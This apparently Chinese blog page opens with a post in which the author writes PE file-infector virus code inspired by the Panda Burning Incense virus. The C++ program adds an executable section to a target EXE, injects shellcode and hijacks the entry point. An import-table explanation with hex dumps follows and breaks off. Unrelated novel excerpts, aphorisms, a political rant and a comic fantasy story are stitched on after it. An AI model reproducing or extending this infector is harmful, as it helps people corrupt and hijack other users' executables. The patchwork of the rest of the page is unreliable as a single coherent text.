前些日子风风光光的熊猫烧香病毒,看起来很牛逼,那个作者刚放出来还装B,说啥,他和他的朋友已经在国内是最顶尖的水平了,我都懒的说他了..算了,正好C#课设没事干,就写一个类似的,虽然可能功能上没他的齐全(毕竟人家靠这吃饭的~~),不过原理上是一样的哈
PE病毒其实很简单,只要了解PE结构就可以了,一般分为有节感染和无节感染
有节感染:就是给PE文件自己申请一个节,然后讲自己的病毒代码注入进去,然后修改程序的入口地址,转向自己的代码,完成后,在把控制权还给原程序,原理很简单,操作也不复杂(后面有代码为证)
无节感染:也很简单,原理是磁盘上放置的文件都是按照一簇(一般为200H)对齐的,不足的地方补0,我们就把自己的代码注入到这些“缝隙处”,然后和上面一样的操作,如下图
#include <windows.h> #include <iostream> #include<tlhelp32.h> #include<windows.h> using namespace std; #pragma data_seg(".mydat") //申请一个新的段 #pragma code_seg(".shell") #pragma const_seg(".constdata") #pragma comment(linker,"/SECTION:.mydat,RWE") //告诉编译器新的段 #pragma comment(linker,"/SECTION:.shell,RWE") #pragma comment(linker,"/SECTION:.constdata,RWE") #pragma comment(linker,"/MERGE:.mydat=.shell") //合并段 #pragma comment(linker,"/MERGE:.constdata=.shell") #define Recode _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax #define VA_END -2 DWORD GetProcessIdFromName(LPCTSTR name) ; void Fun2(); int Invoke(char*pDllName, char*pFunName, ...); typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR); typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD); DWORD dwOldEntry = 0; void WINAPI Fun1() { __asm { PUSH 0x00333231 MOV EAX, ESP PUSH 0 PUSH 0 PUSH EAX PUSH 0 mov eax,0x77d5058a CALL eax ADD ESP, 4 } _asm { _EMIT 0xE9 _EMIT 0x83 _EMIT 0xB0 _EMIT 0xFF _EMIT 0xFF } } void End() { } int Align(int nSize, int n) { if(nSize % n) { int num = nSize / n; return (num + 1) * n; } return nSize; } #define DOS IMAGE_DOS_HEADER #define NT IMAGE_NT_HEADERS #define SEC IMAGE_SECTION_HEADER int main() { MessageBox(NULL,"123","1",NULL); DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0; HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL); IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew); IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT)); IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1]; IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections]; DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment; DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment; stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1; //设置新的节属性 strcpy((char*)stNewSec->Name, ".CIW"); stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE; stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign); stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData; stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign); stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign); stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize; stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize; //移动文件指针(文件实际内容是分节存放的,在内存中是分页存放的) SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN); WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL); SetEndOfFile(hFile); dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase; SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN); WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL); stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry; FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders); UnmapViewOfFile(pFile); CloseHandle(hMapFile); CloseHandle(hFile); return 0; }
注:目前代码只是一个不完整,为了控制破坏性,没有加上自传染,只是感染一个目标文件
输入表是个很有意思的东西,直接拆一个EXE分析下
随便找个EXE,打开后,先找到PE头,在找到偏移+80H处,这里就是输入表在内存中的偏移地址,如下图
输入表是一个这样的结构
00h union
characteristics DWORD ?
originalFirstThunk DWORD ? ;存放是一个偏移,指向输入名称表
04h TimeDateStamp DWORD ? ;一个32位时间标志
08H Forwarderchain DWORD ? ;指向第一个被转向的API地址
0CH Name DWORD ? ;指向DLL名字
10H FirstTHUNK DWORD ? ;指向输入地址表
对应上面我们可以找到对应的值为
originalFirstThunk 0x00002070 ;查看此处内存为:AE 20 00 00 D4 20 00 00 9E 20 00 00 C8 20 00 00 ?..?..?..?..
00402080 BA 20 00 00 8C 20 00 00 00 00 00 00 ?..?......?D
TimeDateStamp 0x00000000
Forwarderchain 0x00000000
Name 0x000020e4 ;查看此处内存为:004020E0 75 73 65 72 33 32 2E 64 6C 6C user32.dll
FirstTHUNK 0x0000200c ;查看此处内存为:C9 59 D2 83 F3 D2 77 71 BE D1 77 CE 08 D2 77
CE 3D D2 77 0C B1 D3 77 00 00 00 00 ....p
originalFirstThunk 其实指向的是一个数组,里面放的指向函数名的指针,而FirstTHUNK存放的是对应这个函数名的实际地址(DLL里面的),关系如下图
很简单,不过有些要注意的地方
1.originalFirstThunk 指向的INT数组并不直接指向函数名,而是指向函数名的前2个字节,这前2个字节是函数的HINT,如我们选取它指向的第一个数据:
AE 20 00 00 ,查看此处内容:
因为爱她,所以离开她 ,这并不是一件伟大的事,而是一件很无奈的事
我不相信一见钟情,不相信山盟海誓,我只相信,如果我还爱你,那么我会好好待你
在这个时代,最艰难的事,就是有尊严地活着
直至第三天的黄昏,少年才挣扎着回来。小女孩安安静静地坐在洞口等他归来,也不知道坐了多久。 这个晚上,小女孩皱着眉头,用雪白的小牙全力撕咬着青白色韧得象块橡皮的喷火蚁肉。蚁肉又韧又腥,她却努力将每块肉都嚼细,吞下,就连手指上沾着的汁液也舔得干干净净。 洞穴深处,少年则隐在黑暗中,一点一点清理着身上纵横交错、深可见骨的伤口。少年去一次喷火蚁的巢穴,需要三天。于是少年、女孩和水蛭的生活,便以三天为一个轮回,周而复始地重复着。
此时天边的地平线上,忽然透出一线鱼肚白,淡淡的晨光倾泻出来,如一幅巨大的幕布平平地铺在群山上。在黑与白之间矗立着的她,刹那间的对比是如此的强烈,巨剑、盔甲、梭刺、面具,都是由无数锋锐如刀般的直线构成,绝无一根曲线,只有那头苍灰色飞舞的长发除外。在这个黑与白构成的时刻,她孤立在群山之顶,一边是苏,一边是帕瑟芬妮。
“一个女孩子想要弄钱,就只有一个办法。这里的课每一节都那么贵,而所有的我都要学,所以我需要很多的钱。”这是莎莉第一句给苏留下印象的话。 而苏记得的另一幕,则是脸上笼罩着虔诚与坚定的莎莉说:“我要学所有能够学到的东西,将来,我要把这些知识带到荒野去。我要改变荒野,要让那里生活的人们都能有吃的,不再被这里的人当成野兽一样对待;我不想我的孩子们将来还要重复我曾经的童年,不想她们在还没长大的时候就要用身体去换取一块面包或是腐肉。” 那一刻,莎莉并不象才十几岁的孩子,而仿佛是一名肩负着沉重使命的使徒。所有的人都有梦想,但绝大多数人的梦想都难以实现。莎莉的梦想,看上去就是最不可能实现的那种。
我希望找到我的梅迪尔丽,用吾一生去守护与她
今天刚从学校来到华科~正好从食堂吃完饭准备去敲代码去,碰巧看到一个叫什么权利协会啥的在招新,他们的门口放着一副画,看起来很有趣,上书几个大字"维权",下面画着一个拳头
不可否认,这幅画很有意思, 画确实是很有意思, 直接道出一个真理"权利来自拳头"不过摆在中国这个环境里,就显的有些可笑和苍白了,尤其是旁边还坐着一些学生,中国不缺乏文人骚客, 中国丢失的是最本质的东西—对自由的追求,龙的灵魂已经被封印数千年,灵性正在逐渐的丧失,正由极阳转向极阴,国人中的蛇性越来越强,国人从一个循环中跳到另一个循环中,从一个沸水中跳到另外一个温水里,每当温水变成滚水的时候,剧痛会让封印松懈一点点,然后青蛙会恢复一丝灵气,于是青蛙挣扎的跳入另外一个温水之中,于是惰性开始吞噬灵气,温水和谐掉一切,青蛙又开始一个美梦..当某一天,青蛙在美梦中也认为自己是熟的的时候,那正是中华灭亡之日
其实这一切都来自一个巨大无比的误会..真的..哥来错了世界....
这要从很久很久以前说起了..哥那时候是个巫妖..就是那种每天到处逛的那种,死亡位面,元素位面,无底深渊,巴托地狱,印记城..甚至连天堂山上也曾溜过去,不过当然哥最爱去的还是死亡位面,可爱的小骷髅,那么单纯的亡灵气味,是那么的舒服,日子混久了,亡者位面的一部分力量也被我窃取了,哈哈,那时候是那么的逍遥自在呀, 哪象现在呀...这么的杯具,可惜好日子总是过的很快,在某次与仇敌的大战中,哥虽然杀死了那位战天使, 可惜我的本命戒指(那是一个相当漂亮的戒指,戒指是个九面体,每个面体对应着一个死亡位面)被我们战斗所引起的时空缭乱所吞噬,也不知道流落到哪个位面..哎,哥本来已经与那几个世界的根源联系起来了,也就是那几个世界不灭,哥也是永生之体,可这下倒好,力量的流失导致我必须响应轮回的规则(当然另一方面也是无奈啊,那次击杀的敌人是天堂山上一位相当重要的领导..没办法,只得跑路),所以我屁颠屁颠的进了轮回...来到了这个世界..
前面说过哥是名巫妖,于是我便按了巫妖的加点方式加了我的属性点...全智力..0力量..0魅力..,我发誓这绝对是魔法世界里最极端也是最受巫妖喜爱的加点方式,我甚至还比较了几种加点方法,结果都是这种最牛X,事实证明这种加点确实很牛X, 可问题是这牛X是有前提的..那就是哥犯下的第一个错误,哥来到了中土世界..而不是魔法世界..这个世界元素浓度太低了..低的可怜, 凭借着哥这么高的亲和力, 也仅仅能感应到一种力量的存在..我记得他们把这种力量叫做佛力..妈的,最搞笑的是这中力量竟然是偏向光明属性的,当然在最本质的层次, 这种力量还是混沌属性的..这倒是让我欣慰不少...如果仅仅是这一切,哥还不至于悲剧如此,接着哥犯了第二个错误——选职业
大家都知道职业的重要性,哥悲剧的发现我的属性加成方法非常符合一种职业——程序员..程序员:张的丑(没加魅力啊....),狂宅(不敢出门啊...),狂妄而自卑(哥知道自己其实是个巫妖,很牛X的那种, 可大家不知道呀),简直是为哥量身打造的..对此我只能说fuck!
未完待续...